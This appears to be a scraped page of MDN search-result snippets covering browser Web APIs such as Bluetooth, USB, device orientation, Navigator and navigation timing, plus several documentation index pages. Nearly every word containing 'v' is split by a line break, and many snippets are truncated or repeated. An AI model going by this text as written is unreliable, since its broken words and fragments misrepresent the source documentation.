... syntax var de
viceclass = instanceofbluetoothde
vice.de
viceclass returns a number.
BluetoothDevice.gatt - Web APIs
the bluetoothde
vice.gatt read-only property returns a reference to the de
vice's bluetoothremotegattserver.
... syntax var gattserver = instanceofbluetoothde
vice.gatt returns a reference to the de
vice's bluetoothremotegattserver.
BluetoothDevice.name - Web APIs
the bluetoothde
vice.name read-only property returns a domstring that pro
vides a human-readable name for the de
vice.
... syntax var name = instanceofbluetoothde
vice.name returns a domstring.
BluetoothDevice.paired - Web APIs
the bluetoothde
vice.paired read-only property returns a boolean value indicating whether the de
vice is paired with the system.
... syntax var paired = instanceofbluetoothde
vice.paired returns a boolean.
BluetoothRemoteGATTServer.device - Web APIs
the bluetoothremotegattserver.de
vice read-only property returns a reference to the bluetoothde
vice running the server.
... syntax var de
vice = bluetoothremotegattserver.de
vice specifications specification status comment web bluetooththe definition of 'de
vice' in that specification.
DeviceLightEvent.value - Web APIs
the value property pro
vides the current level of the ambient light.
... syntax var light = instanceofde
vicelightevent.value; value a positive number representing a light intensity expressed in lux.
DeviceOrientationEvent.alpha - Web APIs
returns the rotation of the de
vice around the z axis; that is, the number of degrees by which the de
vice is being twisted around the center of the screen.
... syntax var alpha = instanceofde
viceorientationevent.alpha; specifications specification status comment de
viceorientation event specification editor's draft initial specification.
DeviceOrientationEvent.beta - Web APIs
returns the rotation of the de
vice around the x axis; that is, the number of degrees, ranged between -180 and 180, by which the de
vice is tipped forward or backward.
... syntax var beta = instanceofde
viceorientationevent.beta; specifications specification status comment de
viceorientation event specification editor's draft initial specification.
DeviceOrientationEvent.gamma - Web APIs
returns the rotation of the de
vice around the y axis; that is, the number of degrees, ranged between -90 and 90, by which the de
vice is tilted left or right.
... syntax var gamma = orientationevent.gamma; specifications specification status comment de
viceorientation event specification editor's draft initial specification.
DeviceProximityEvent.max - Web APIs
the max property pro
vides the maximum sensing distance the sensor is able to report, in centimeters.
... syntax var value = instanceofde
viceproximityevent.max; value a positive number indicating the maximum distance, in centimeters (cm), that the de
vice's proximity sensor is able to detect and report.
DeviceProximityEvent.min - Web APIs
the min property pro
vides the minimum distance the sensor can report, in centimeters.
... syntax var value = instanceofde
viceproximityevent.min; value a positive number indicating the minimum distance, in centimeters (cm), the de
vice's proximity sensor can report.
DeviceProximityEvent.value - Web APIs
the value property of de
viceproximityevent objects pro
vides the current distance between the de
vice and the detected object, in centimeters.
... syntax var distance = instanceofde
viceproximityevent.value; value a positive number representing a distance in centimeters (cm) between the de
vice's proximity sensor and the detected object.
HTMLVideoElement.msIsStereo3D - Web APIs
msisstereo3d is a read-only property which determines whether the system considers the loaded
video source to be stereo 3-d or not.
... syntax html
videoelement.msisstereo3d: boolean; value boolean value set to true indicates that the
video source is stereo 3d.
IDBEnvironmentSync - Web APIs
the unimplemented idben
vironmentsync interface of the indexeddb api will be implemented by worker objects.
... attributes attribute type description indexeddbsync readonly idbfactorysync pro
vides a synchronous means of accessing the capabilities of indexed databases.
videoCapabilities - Web APIs
the mediakeysystemconfiguration.
videocapabilities read-only property returns an array of supported
video type and capability pairs.
... syntax var
videocapabilities[{contenttype: 'contenttype', robustness:'robustness'}] = mediasystemconfiguration.
videocapabilities; specifications specification status comment encrypted media extensionsthe definition of '
videocapabilities' in that specification.
Navigator.buildID - Web APIs
syntax buildid = na
vigator.buildid; value a string representing the build identifier of the application.
... example console.log(window.na
vigator.buildid); specification not part of any public standard.
Navigator.doNotTrack - Web APIs
the na
vigator.donottrack property returns the user's do not track setting, which indicates whether the user is requesting web sites and advertisers to not track them.
... example console.log(na
vigator.donottrack); // prints "1" if dnt is enabled; "0" if the user opted-in for tracking; otherwise this is "unspecified" specifications specification status comment tracking preference expression (dnt)the definition of 'na
vigator.donottrack' in that specification.
Navigator.geolocation - Web APIs
the na
vigator.geolocation read-only property returns a geolocation object that gives web content access to the location of the de
vice.
... syntax geo = na
vigator.geolocation specifications specification status comment geolocation apithe definition of 'na
vigator.geolocation' in that specification.
Navigator.getGamepads() - Web APIs
the na
vigator.getgamepads() method returns an array of gamepad objects, one for each gamepad connected to the de
vice.
... syntax var gamepads = na
vigator.getgamepads(); example window.addeventlistener("gamepadconnected", function(e) { var gp = na
vigator.getgamepads()[e.gamepad.index]; console.log( "gamepad connected at index %d: %s.
Navigator.keyboard - Web APIs
the keyboard read-only property of the na
vigator interface returns a keyboard object which pro
vides access to functions that retrieve keyboard layout maps and toggle capturing of key presses from the physical keyboard.
... syntax var keyboard = na
vigator.keyboard value a keyboard object.
Navigator.locks - Web APIs
the locks read-only property of the na
vigator interface returns a lockmanager object which pro
vides methods for requesting a new lock object and querying for an existing lock object.
... syntax var lockmanager = na
vigator.locks value a lockmanager object.
Navigator.maxTouchPoints - Web APIs
the maxtouchpoints read-only property of the na
vigator interface returns the maximum number of simultaneous touch contact points are supported by the current de
vice.
... syntax touchpoints = na
vigator.maxtouchpoints; example if (na
vigator.maxtouchpoints > 1) { // browser supports multi-touch } specifications specification status comment pointer events – level 2the definition of 'maxtouchpoints' in that specification.
Navigator.wakeLock - Web APIs
while a screen wake lock is active, the user agent will try to prevent the de
vice from dimming the screen, turning it off completely, or showing a screensaver.
... syntax const wakelock = na
vigator.wakelock; specifications specification status comment screen wake lock api editor's draft initial definition ...
PerformanceNavigationTiming.domComplete - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "na
vigation" events var perfentries = performance.getentriesbytype("na
vigation"); for (var i=0; i < perfentries.length; i++) { console.log("= na
vigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("...
...ractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment na
vigation timing level 2the definition of 'domcomplete' in that specification.
PerformanceNavigationTiming.domContentLoadedEventEnd - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "na
vigation" events var perfentries = performance.getentriesbytype("na
vigation"); for (var i=0; i < perfentries.length; i++) { console.log("= na
vigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("...
...ractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment na
vigation timing level 2the definition of 'domcontentloadedeventend' in that specification.
PerformanceNavigationTiming.domContentLoadedEventStart - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "na
vigation" events var perfentries = performance.getentriesbytype("na
vigation"); for (var i=0; i < perfentries.length; i++) { console.log("= na
vigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("...
...ractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment na
vigation timing level 2the definition of 'domcontentloadedeventstart' in that specification.
PerformanceNavigationTiming.domInteractive - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "na
vigation" events var perfentries = performance.getentriesbytype("na
vigation"); for (var i=0; i < perfentries.length; i++) { console.log("= na
vigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("...
...ractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment na
vigation timing level 2the definition of 'dominteractive' in that specification.
PerformanceNavigationTiming.loadEventEnd - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "na
vigation" events var perfentries = performance.getentriesbytype("na
vigation"); for (var i=0; i < perfentries.length; i++) { console.log("= na
vigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("...
...ractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment na
vigation timing level 2the definition of 'loadeventend' in that specification.
PerformanceNavigationTiming.loadEventStart - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "na
vigation" events var perfentries = performance.getentriesbytype("na
vigation"); for (var i=0; i < perfentries.length; i++) { console.log("= na
vigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("...
...ractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment na
vigation timing level 2the definition of 'loadeventstart' in that specification.
RTCOfferAnswerOptions.voiceActivityDetection - Web APIs
the voiceacti
vitydetection property of the rtcofferansweroptions dictionary is used to specify whether or not to use automatic voice detection for the audio on an rtcpeerconnection.
... syntax var options = { voiceacti
vitydetection: trueorfalse }; value a boolean value indicating whether or not the connection should use voice detection once running.
ServiceWorkerGlobalScope.caches - Web APIs
the caches read-only property of the ser
viceworkerglobalscope interface returns the cachestorage object associated with the ser
vice worker.
... specifications specification status comment ser
vice workersthe definition of 'ser
viceworkerglobalscope.caches' in that specification.
ServiceWorkerGlobalScope.clients - Web APIs
the clients read-only property of the ser
viceworkerglobalscope interface returns the clients object associated with the ser
vice worker.
... specifications specification status comment ser
vice workersthe definition of 'ser
viceworkerregistration.clients' in that specification.
ServiceWorkerGlobalScope: contentdelete event - Web APIs
the contentdelete event of the ser
viceworkerglobalscope interface is fired when an item is removed from the indexed content
via the user agent.
... self.addeventlistener('contentdelete', event => { event.waituntil( caches.open('cache-name').then(cache => { return promise.all([ cache.delete(`/icon/${event.id}`), cache.delete(`/content/${event.id}`) ]) }) ); }); you can also set up the event handler using the ser
viceworkerglobalscope.ondelete property: self.oncontentdelete = (event) => { ...
ServiceWorkerGlobalScope.oncontentdelete - Web APIs
the oncontentdelete property of the ser
viceworkerglobalscope interface is an event handler fired when an item is removed from the indexed content
via the user agent.
... syntax ser
viceworkerglobalscope.oncontentdelete = function(event) { ...
ServiceWorkerRegistration.periodicSync - Web APIs
the periodicsync read-only property of the ser
viceworkerregistration interface returns a reference to the periodicsyncmanager interface, which manages periodic background synchronization processes.
... syntax var periodicsyncmanager = ser
viceworkerregistration.periodicsync; value a periodicsyncmanager object.
USBDevice.close() - Web APIs
the close() method of the usbde
vice interface returns a promise that resolves when all open interfaces are released and the de
vice session has ended.
... syntax var promise = usbde
vice.close() parameters none.
USBDevice.configurations - Web APIs
the configurations read only property of the usbde
vice interface an array of de
vice-specific interfaces for controlling a paired usb de
vice.
... syntax var usbconfiguration[] = usbde
vice.configurations value an array of usbconfiguration objects.
USBDevice.isochronousTransferIn() - Web APIs
the isochronoustransferin() method of the usbde
vice interface returns a promise that resolves with a usbisochronousintransferresult when time sensitive information has been transmitted received from the usb de
vice.
... syntax var promise = usbde
vice.isochronoustransferin(endpointnumber, packetlengths) parameters endpointnumber the number of a de
vice-specific endpoint (buffer).
USBDevice.manufacturerName - Web APIs
the manufacturername read only property of the usbde
vice interface the of the organization that manufactured the usb de
vice.
... syntax var serialnumber = usbde
vice.manufacturername value a domstring.
USBDevice.open() - Web APIs
the open() method of the usbde
vice interface returns a promise that resolves when a de
vice session has started.
... syntax var promise = usbde
vice.open() parameters none.
USBDevice.productID - Web APIs
the productid read only property of the usbde
vice interface the manufacturer-defined code that identifies a usb de
vice.
... syntax var serialnumber = usbde
vice.productid value the manufacturer-defined code that identifies a usb de
vice.
USBDevice.productName - Web APIs
the productname read only property of the usbde
vice interface the manufacturer-defined name that identifies a usb de
vice.
... syntax var serialnumber = usbde
vice.productname value the manufacturer-defined name that identifies a usb de
vice.
USBDevice.releaseInterface() - Web APIs
the releaseinterface() method of the usbde
vice interface returns a promise that resolves when a cliamed interface is released from exclusive access.
... syntax var promise = usbde
vice.releaseinterface(interfacenumber) parameters interfacenumber the de
vice-specific index of the currently-claimed interface.
USBDevice.reset() - Web APIs
the reset() method of the usbde
vice interface returns a promise that resolves when the de
vice is reset and all app operations canceled and their promises rejected.
... syntax var promise = usbde
vice.reset() parameters none.
USBDevice.selectConfiguration() - Web APIs
the selectconfiguration() method of the usbde
vice interface returns a promise that resolves when the specified configuration is selected.
... syntax var promise = usbde
vice.selectconfiguration(configurationvalue) parameters configurationvalue the number of a de
vice-specific configuration.
USBDevice.serialNumber - Web APIs
the serialnumber read only property of the usbde
vice interface is the manufacturer-defined serial number for the specific usb de
vice.
... syntax var serialnumber = usbde
vice.serialnumber value the serial number for the specified usb de
vice specifications specification status comment webusbthe definition of 'serialnumber' in that specification.
USBDevice.vendorID - Web APIs
the vendorid read only property of the usbde
vice interface is the official usg.org-assigned vendor id.
... syntax var serialnumber = usbde
vice.vendorid value the official usg.org-assigned vendor id.
VideoPlaybackQuality.totalFrameDelay - Web APIs
the
videoplaybackquality.totalframedelay read-only property returns a double containing the sum of the frame delay since the creation of the associated html
videoelement.
... syntax value =
videoplaybackquality.totalframedelay; example var
videoelt = document.getelementbyid('my_
vid'); var quality =
videoelt.get
videoplaybackquality(); alert(quality.totalframedelay); ...
Video textures - Web APIs
« pre
vious this example demonstrates how to use
video files as textures for webgl surfaces.
... textures from
video « pre
vious ...
WorkerNavigator.connection - Web APIs
the workerna
vigator.connection read-only property returns a networkinformation object containing information about the system's connection, such as the current bandwidth of the user's de
vice or whether the connection is metered.
... syntax connectioninfo = self.na
vigator.connection specifications specification status comment network information apithe definition of 'na
vigator.connection' in that specification.
WorkerNavigator.locks - Web APIs
the locks read-only property of the workerna
vigator interface returns a lockmanager object which pro
vides methods for requesting a new lock object and querying for an existing lock object.
... syntax var lockmanager = na
vigator.locks value a lockmanager object.
CSS Device Adaptation - CSS: Cascading Style Sheets
css de
vice adaptation is a module of css that lets you define the size, zoom factor, and orientation of the
viewport.
... reference at-rules @
viewport specifications specification status comment css de
vice adaptation working draft initial definition ...
Split Navigation - CSS: Cascading Style Sheets
a na
vigation pattern where one or more elements are separated from the rest of the na
vigation items.
... requirements a common na
vigation pattern is to have one element pushed away from the others.
Feature-Policy: vibrate - HTTP
the http feature-policy header
vibrate directive controls whether the current document is allowed to trigger de
vice
vibrations
via na
vigator.
vibrate() method of
vibration api.
... syntax feature-policy:
vibrate <allowlist>; <
vibrate> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin.
Division (/) - JavaScript
the di
vision operator (/) produces the quotient of its operands where the left operand is the di
vidend and the right operand is the di
visor.
... syntax operator: x / y examples basic di
vision 1 / 2 // 0.5 math.floor(3 / 2) // 1 1.0 / 2.0 // 0.5 di
vision by zero 2.0 / 0 // infinity 2.0 / 0.0 // infinity, because 0.0 === 0 2.0 / -0.0 // -infinity specifications specification ecmascript (ecma-262)the definition of 'di
vision operator' in that specification.
Division assignment (/=) - JavaScript
the di
vision assignment operator (/=) di
vides a variable by the value of the right operand and assigns the result to the variable.
... syntax operator: x /= y meaning: x = x / y examples using di
vision assignment // assuming the following variable // bar = 5 bar /= 2 // 2.5 bar /= 'foo' // nan bar /= 0 // infinity specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
disableKeyNavigation - Archive of obsolete content
« xul reference home disablekeyna
vigation type: boolean if this attribute is not used, the user can na
vigate to specific items within the element by pressing keys corresponding to letters in the item's label.
DeviceMotionEvent.interval - Web APIs
syntax var interval = de
vicemotionevent.interval; specifications specification status comment de
viceorientation event specification editor's draft initial definition.
overview - Accessibility
general resources dhtml style guide pro
vides keyboard interaction recommendations wai-aria authoring practices guide checkbox aria toggle button and tri-state checkbox examples (from "the paciello group blog") aria example checkbox widgets from the university of illinois menu using wai-aria roles and states with the yui menu control slider from the paciello group blog: aria slider, part one, part two, part threet (example) creating an accessible, internationalized dojo rating widget tabs enhancing tab
view accessibility with wai-aria roles and states, from the yui blog enhancing the jquery ui tabs accordingly to wcag 2.0 and...
Index - Web APIs
5 angle_instanced_arrays.vertexattribdi
visorangle() angle_instanced_arrays, api, method, reference, webgl, webgl extension the angle_instanced_arrays.vertexattribdi
visorangle() method of the webgl api modifies the rate at which generic vertex attributes advance when rendering multiple instances of primitives with ext.drawarraysinstancedangle() and ext.drawelementsinstancedangle().
... 10 abortsignal api, abortsignal, dom, experimental, interface, reference the abortsignal interface represents a signal object that allows you to communicate with a dom request (such as a fetch) and abort it if required
via an abortcontroller object.
... 14 absoluteorientationsensor api, absoluteorientationsensor, generic sensor api, interface, orientation sensor api, orientationsensor, reference, sensor, sensor apis, sensors the absoluteorientationsensor interface of the sensor apis describes the de
vice's physical orientation in relation to the earth's reference coordinate system.
...And 1883 more matches
Index - Archive of obsolete content
2 .htaccess ( hypertext access ) 301 redirect, cache control, custom error pages, htaccess, permanent redirect, redirect file accessing : htaccess files can be opened using any text editor, like windows notepad,
vin, sublime text editor or any other.
... 5 na
vigator api, na
vigator features that used to hang off the na
vigator interface, but have since been removed.
... 6 na
vigator.moznotification api, deprecated, mobile, non-standard, property, reference pro
vides support for creating notification objects, which are used to display desktop notification alerts to the user.
...And 376 more matches
Index
2 accessing the windows registry using xpcom add-ons, code snippets, extensions, needsclassification, windows registry when implementing windows-specific functionality, it is often useful to access the windows registry for information about the en
vironment or other installed programs.
... 6 creating a python xpcom component guide, needshelp, pyxpcom, xpcom, xpcom:language bindings creating applications with mozilla already pro
vides a tutorial for making a simple javascript or c++ component (implementing the nsisimple interface).
...the new nsigenericfactory interface takes this a step further, by pro
viding a single interface that can be reused anytime a simple implementation of nsifactory is needed.
...And 347 more matches
Index
found 353 pages: # page tags and summary 1 network security ser
vices jss, nss, needsmigration network security ser
vices (nss) is a set of libraries designed to support cross-platform development of security-enabled client and server applications.
... 2 an over
view of nss internals api, intermediate, intro, nss, tools a high-level over
view to the internals of network security ser
vices (nss) software developed by the mozilla.org projects traditionally used its own implementation of security protocols and cryptographic algorithms, originally called netscape security ser
vices, nowadays called network security ser
vices (nss).
...in order to support multiple operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which pro
vides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming.
...And 265 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
found 528 pages: # page tags and summary 1 mdn web docs glossary: definitions of web-related terms beginner, definitions, dictionary, glossary, index, landing, terminology web technologies contain long lists of jargon and abbre
viations that are used in documentation and coding.
... this glossary pro
vides definitions of words and abbre
viations you need to know to successfully understand and build for the web.
... 2 404 glossary, http errors, infrastructure, na
vigation a 404 is a standard response code meaning that the server cannot find the requested resource.
...And 176 more matches
Index - Learn web development
this set of articles aims to pro
vide complete beginners to web development with all that they need to start coding websites.
... 3 accessible multimedia accessibility, article, audio, beginner, codingscripting, html, images, javascript, learn, multimedia,
video, captions, subtitles, text tracks this chapter has pro
vided a summary of accessibility concerns for multimedia content, along with some practical solutions.
... 8 mobile accessibility accessibility, article, beginner, codingscripting, learn, mobile, responsive, screenreader, touch in this article, we have pro
vided you with some details about common mobile accessibility-specific issues and how to overcome them.
...And 97 more matches
Client-side storage - Learn web development
pre
vious over
view: client-side web apis modern web browsers support a number of ways for web sites to store data on the user's computer — with the user's permission — then retrieve it when necessary.
... persisting pre
vious site acti
vity (e.g.
... storing the contents of a shopping cart from a pre
vious session, remembering if a user was pre
viously logged in).
...And 86 more matches
ARIA Test Cases - Accessibility
there are several purposes for pro
viding this information: help browser vendors pro
vide correct implementations help at vendors pro
vide correct implementations inform authors as to what actually works reliably in general we're testing with the latest public releases.
... we can add more screen readers if people are willing to step up and pro
vide test results for them.
...10 with firefox 3 jaws 9 & 10 with ie beta 2 nvda 0.6p2 with firefox 3 orca with firefox 3 window-eyes 7 with ie 8 beta 2 and firefox 3 voiceover (leopard) with safari 4.0.2 zoom (leopard) with safari 4.0.2, firefox 3.x and opera 9.x zoomtext 9.1 with firefox 3 and ie 8 beta 2 test case structure test cases are organized as follows: test case links test details expected at beha
vior markup notes results table at firefox ie opera safari jaws 9 - - - - jaws 10 - 1.
...And 84 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
this article re
views several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection.
... quick tip if you must determine if a
visitor is using a gecko-based browser, simply test na
vigator.product == 'gecko' or look for the string 'gecko/' in the na
vigator.useragent.
...due to bugs, incomplete implementations of the standards and legacy browsers, web developers must be able to determine which browser a
visitor is using and pro
vide the appropriate content and scripting code path.
...And 81 more matches
Key Values - Web APIs
corresponding
virtual keycodes for common platforms are included where available.
... learn how to use these key values in javascript using keyboardevent.key special values | modifier keys | whitespace keys | na
vigation keys | editing keys | ui keys | de
vice keys | ime and composition keys | function keys | phone keys | multimedia keys | audio control keys | tv control keys | media controller keys | speech recognition keys | document keys | application selector keys | browser control keys | numeric keypad keys special values values of key which have special meanings other than identifying a specific key or character.
... keyboardevent.key value description
virtual keycode windows mac linux android "unidentified" the user agent wasn't able to map the event's
virtual keycode to a specific key value.
...And 80 more matches
Index - Archive of obsolete content
2 <statusbarpanel> deprecated, xul, xul elements, xul reference an indi
vidual element of a statusbar.
... 3 a xul bestiary add-ons, extensions, needstechnicalre
view, xul this xulnote presents some of the key concepts and terms in the xul development en
vironment.
...sections in bold are to draw attention to pieces that are often overlooked for
visual layouts.
...And 77 more matches
Starting WebLock
« pre
viousnext » in this chapter, we begin to design and implement the web locking functionality itself.
...after ha
ving its registration procedure called, the component does nothing.
...when a gecko application starts up, registered components are created and notified
via the general-purpose observer interface nsiobserver.
...And 74 more matches
Event reference
popstate a session history entry is being na
vigated to (in certain cases).
...
view events event name fired when fullscreenchange an element was toggled to or from fullscreen mode.
... resize the document
view has been resized.
...And 72 more matches
HTTP Index - HTTP
2 a typical http session http in client-server protocols, like http, sessions consist of three phases: 3 an over
view of http html, http, over
view, webmechanics, l10n:priority http isthe foundation of any data exchange on the web and it is a client-server protocol, which means requests are initiated by the recipient, usually the web browser.
... a complete document is reconstructed from the different sub-documents fetched, for instance text, layout description, images,
videos, scripts, and more 4 basics of http guide, http, over
view http is a pretty extensible protocol.
...this page pro
vides some ad
vice on what's best.
...And 72 more matches
Window - Web APIs
a window for a given document can be obtained using the document.default
view property.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/window" target="_top"><rect x="1" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">window</text></a></svg></div> a:hover ...
... window.console read only returns a reference to the console object which pro
vides access to the browser's debugging console.
...And 71 more matches
Cognitive accessibility - Accessibility
this document introduces cognitive accessibility and impro
ving accessibility of the web for people with cognitive and learning differences.
...it also includes people with learning disabilities, such as dyslexia and attention deficit hyperacti
vity disorder (adhd).
... over
view cognitive and intellectual disabilities cover a large spectrum, and may be momentary, temporary, or permanent conditions.
...And 71 more matches
Handling common accessibility problems - Learn web development
pre
vious over
view: cross browser testing next next we turn our attention to accessibility, pro
viding information on common problems, how to do simple testing, and how to make use of auditing/automation tools for finding accessibility issues.
... when we say accessibility in the context of web technology, most people immediately think of making sure websites/apps are usable by people with disabilities, for example:
visually impaired people using screen readers or magnification/zoom to access text people with motor function impairments using the keyboard (or other non-mouse features) to activate website functionality.
... people with hearing impairments relying on captions/subtitles or other text alternatives for audio/
video content.
...And 68 more matches
XUL accessibility guidelines - Archive of obsolete content
it is hoped that these guidelines will be sufficiently clear and detailed that everyone—even someone with no pre
vious background in accessibility—can understand them.
... there is also a xul accessibility tool which can help test some of these guidelines, but please be aware that no tool can replace human judgement for accessibility, and understanding the guidelines is
vital.
...over
view of web accessibility from webaim.
...And 66 more matches
Rendering and the WebXR frame animation callback - Web APIs
once your webxr en
vironment has been set up and an xrsession created to represent an ongoing xr en
vironment session, you need to pro
vide frames of the scene to the xr de
vice for rendering.
... this article covers the process of dri
ving the frames of the xr scene to the de
vice in the rendering loop, using the xrsession to obtain an xrframe object representing each frame, which is then used to prepare the framebuffer for delivery to the xr de
vice.
... before you can render the
virtual en
vironment, you need to establish a webxr session by creating an xrsession using the na
vigator.xr.requestsession() method; you also need to associate the session with a framebuffer and perform other setup tasks.
...And 65 more matches
Inputs and input sources - Web APIs
a full webxr experience isn't just about showing the user a wholly
virtual scene or augmenting reality by adding to or altering the world around them.
...to that end, webxr pro
vides support for a variety of kinds of input de
vices.
... in this guide, we'll look at how to use webxr's input de
vice management features to determine what input sources are available and how to then monitor those sources for inputs in order to handle user interacti
vity with your
virtual or augmented en
vironment.
...And 64 more matches
Bytecode Descriptions
jsop::typeof and jsop::typeofexpr are the same except that--amazingly--jsop::typeof affects the beha
vior of an immediately preceding jsop::getname or jsop::getgname instruction!
...surprisingly, it's not possible to get the right beha
vior using jsop::add and jsop::sub alone.
...format: jof_object objwithproto stack: proto ⇒ obj create and push a new ordinary object with the pro
vided [[prototype]].
...And 63 more matches
Document - Web APIs
it pro
vides functionality globally to the document, like how to obtain the page's url and create new elements in the document.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/nod...
... document.mozsyntheticdocument returns a boolean that is true only if this document is synthetic, such as a standalone image,
video, audio file, or the like.
...And 63 more matches
HTML documentation index - HTML: Hypertext Markup Language
other technologies besides html are generally used to describe a web page's appearance/presentation (css) or functionality/beha
vior (javascript).
... 2 allowing cross-origin use of images and canvas advanced, cors, canvas, html, image, reference, security, storage, data html pro
vides a crossorigin attribute for images that, in combination with an appropriate cors header, allows images defined by the <img> element that are loaded from foreign origins to be used in a <canvas> as if they had been loaded from the current origin.
... 5 dash adaptive streaming for html 5
video guide, html, html5 dynamic adaptive streaming over http (dash) is an adaptive streaming protocol.
...And 63 more matches
Server-side web frameworks - Learn web development
pre
vious over
view: first steps next the pre
vious article showed you what the communication between web clients and servers looks like, the nature of http requests and responses, and what a server-side web application needs to do in order to respond to requests from a web browser.
...basic understanding of how server-side code handles and responds to http requests (see client-server over
view).
... over
view server-side web frameworks (a.k.a.
...And 62 more matches
Places Developer Guide
it pro
vides code samples for many common use-cases, such as crud operations, searching, and obser
ving.
... over
view places is the umbrella term for a set of apis for managing browsing history and uri metadata first introduced in firefox 3.
... it encompasses history, bookmarks, tags, fa
vicons, and annotations.
...And 60 more matches
Fundamentals of WebXR - Web APIs
webxr, with the webxr de
vice api at its core, pro
vides the functionality needed to bring both augmented and
virtual reality (ar and vr) to the web.
... together, these technologies are referred to as mixed reality, which is abbre
viated xr.
... in this guide, we pro
vide a fundamental over
view of what webxr is and how it works, as well as pro
viding a foundation for what you'll need to know before you even begin to learn to develop augmented reality and
virtual reality experiences for the web.
...And 60 more matches
Migrating from Firebug - Firefox Developer Tools
the devtools share the same shortcuts, but also pro
vide shortcuts for the different panels.
...the network monitor can be opened
via ctrl+shift+q / cmd+opt+q, the web console
via ctrl+shift+k / cmd+opt+k and the debugger
via ctrl+shift+s / cmd+opt+s.
...it shows log information associated with a web page and allows you to execute javascript expressions
via its command line.
...And 59 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
in this article, we'll make use of information introduced in the pre
vious articles in our webxr tutorial series to construct an example which animates a rotating cube around which the user can move freely using a vr headset, keyboard, and/or mouse.
... while reading this article and the accompanying source code, it's helpful to keep in mind that the display for a 3d headset is a single screen, di
vided in half.
... when rendering the left eye, the xrwebgllayer has its
viewport configured to restrict drawing to the left half of the drawing surface.
...And 59 more matches
nsIDOMWindowUtils
dom/interfaces/base/nsidomwindowutils.idlscriptable this interface is a dom utility interface that pro
vides useful dom methods and attributes.
...to get this interface, use: var domwindowutils = window.windowutils; method over
view void activatenativemenuitemat(in astring indexstring); void clearmozafterpaintevents(); pruint32 comparecanvases(in nsidomhtmlcanvaselement acanvas1, in nsidomhtmlcanvaselement acanvas2, out unsigned long amaxdifference); double computeanimationdistance(in nsidomelement element, in astring property, in astring value1, in astring value2); nsicompositionstringsynthesizer createcompositionstringsynthesizer(); obsolete since gecko 38.0 void disablenontestmouseevents...
